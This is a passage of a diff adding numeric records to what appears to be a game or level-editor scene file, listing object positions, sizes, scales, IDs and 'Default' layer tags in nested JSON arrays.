+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 4781,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5091.85302734375,
+ 1080.841430664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4782,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5091.85302734375,
+ 1174.841430664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4793,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5091.85302734375,
+ 1268.841430664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4794,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4999.85302734375,
+ 1362.841430664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4795,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5091.85302734375,
+ 1362.841430664063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4796,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5182.83984375,
+ 985.4859619140625,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 471,
+ 812,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5182.83984375,
+ 1081.485961914063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4798,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5182.83984375,
+ 1175.485961914063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4803,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5182.83984375,
+ 1269.485961914063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4804,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5182.83984375,
+ 1363.485961914063,
+ 0,
+ 96,
+ 99,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5050504803657532,
+ 0,
+ 0,
+ []
+ ],
+ 472,
+ 4805,
+ [],
+ [],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 181,
+ 1069.826049804688,
+ 0,
+ 641.3175659179688,
+ 372.9738464355469,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 801,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1579.84130859375,
+ 977.5,
+ 0,
+ 277,
+ 460,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5243,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2484,
+ 815,
+ 0,
+ 367,
+ 460,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5244,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3337,
+ 1111,
+ 0,
+ 367,
+ 460,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5245,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3521,
+ 1207,
+ 0,
+ 367,
+ 460,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5246,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3705,
+ 1301,
+ 0,
+ 367,
+ 460,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5247,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4999.82275390625,
+ 1172.281494140625,
+ 0,
+ 460,
+ 460,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5248,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4653.7060546875,
+ 1025.22509765625,
+ 0,
+ 291.275390625,
+ 33,
+ 0,
+ -0.5061454772949219,
+ 0.4000000059604645,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5302,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2296.5,
+ 711.5,
+ 0,
+ 150,
+ 79,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5249,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1465.5,
+ 557,
+ 0,
+ 311,
+ 79,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5260,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1581.5,
+ 284.5,
+ 0,
+ 79,
+ 624,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5261,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1140.5,
+ 635.5,
+ 0,
+ 92,
+ 48,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5262,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 930,
+ 754,
+ 0,
+ 92,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5263,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 721,
+ 850,
+ 0,
+ 92,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5265,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1257,
+ 896,
+ 0,
+ 92,
+ 51,
+ 0,
+ 0,
+ 0.800000011920929,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 325,
+ 5266,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 1,
+ 1,
+ 0.2,
+ 0,
+ 0.01,
+ 0,
+ 1
+ ],
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4757,
+ 1156,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5267,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5136,
+ 1156,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5280,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4005,
+ 1156,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5281,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4384,
+ 1156,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5282,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3246,
+ 1156,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5283,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3625,
+ 1156,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5284,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2494,
+ 1156,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5285,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2873,
+ 1156,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5286,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1736.369384765625,
+ 1155.64599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5287,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2115.369384765625,
+ 1155.64599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5288,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 984.369384765625,
+ 1155.64599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5289,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1363.369384765625,
+ 1155.64599609375,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5765,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 605.7018432617188,
+ 1155.814697265625,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5766,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ -146.2981567382813,
+ 1155.814697265625,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5767,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 232.7018432617188,
+ 1155.814697265625,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5768,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 5510,
+ 1156,
+ 0,
+ 384,
+ 137,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ -0.05109488964080811,
+ 0,
+ 0,
+ []
+ ],
+ 342,
+ 5770,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2679,
+ 1619.291870117188,
+ 0,
+ 5941,
+ 703,
+ 0,
+ 0,
+ 1,
+ 0.5078125,
+ 0.5182482004165649,
+ 0,
+ 0,
+ []
+ ],
+ 537,
+ 5769,
+ [],
+ [
+ [
+ 1,
+ 0,
+ 0,
+ 3,
+ 0,
+ 0,
+ 0,
+ 40,
+ 0
+ ],
+ [
+ 1,
+ 1,
+ 0,
+ 4,
+ 0,
+ 0,
+ 0,
+ 15,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 407,
+ -101,
+ 0,
+ 104.6947937011719,
+ 104.6947937011719,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 539,
+ 5771,
+ [],
+ [
+ [
+ 1
+ ]
+ ],
+ [
+ 1,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 931,
+ 686,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5774,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1428.916748046875,
+ 450.0552062988281,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5773,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1364,
+ 766,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5775,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1841,
+ 638,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5776,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 1947,
+ 694,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5777,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2057,
+ 642,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5778,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2743,
+ 577,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5779,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 2956,
+ 699,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5780,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3148,
+ 820,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5781,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3719,
+ 620,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5782,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3839,
+ 482,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5783,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3837.28515625,
+ 427.2235107421875,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5784,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 3661,
+ 930,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5786,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4192,
+ 954,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5788,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4256,
+ 954,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5789,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4571,
+ 1006,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5790,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 4727,
+ 914,
+ 0,
+ 39.3906135559082,
+ 38.26516723632813,
+ 0,
+ 0,
+ 1,
+ 0.5142857432365417,
+ 0.5,
+ 0,
+ 0,
+ []
+ ],
+ 332,
+ 5791,
+ [],
+ [
+ [
+ 1,
+ 5,
+ 0,
+ 1,
+ 0,
+ 0,
+ 0,
+ 10,
+ 0
+ ]
+ ],
+ [
+ 0,
+ "Default",
+ 0,
+ 1
+ ]
+ ],
+ [
+ [
+ 483.3439636230469,
+ 866.86181640625,
+ 0,
+ 38,
+ 34,
+ 0,
+ 0,
+ 1,
+ 0.5,
+ 0.5,
+ 0,
+ 0,
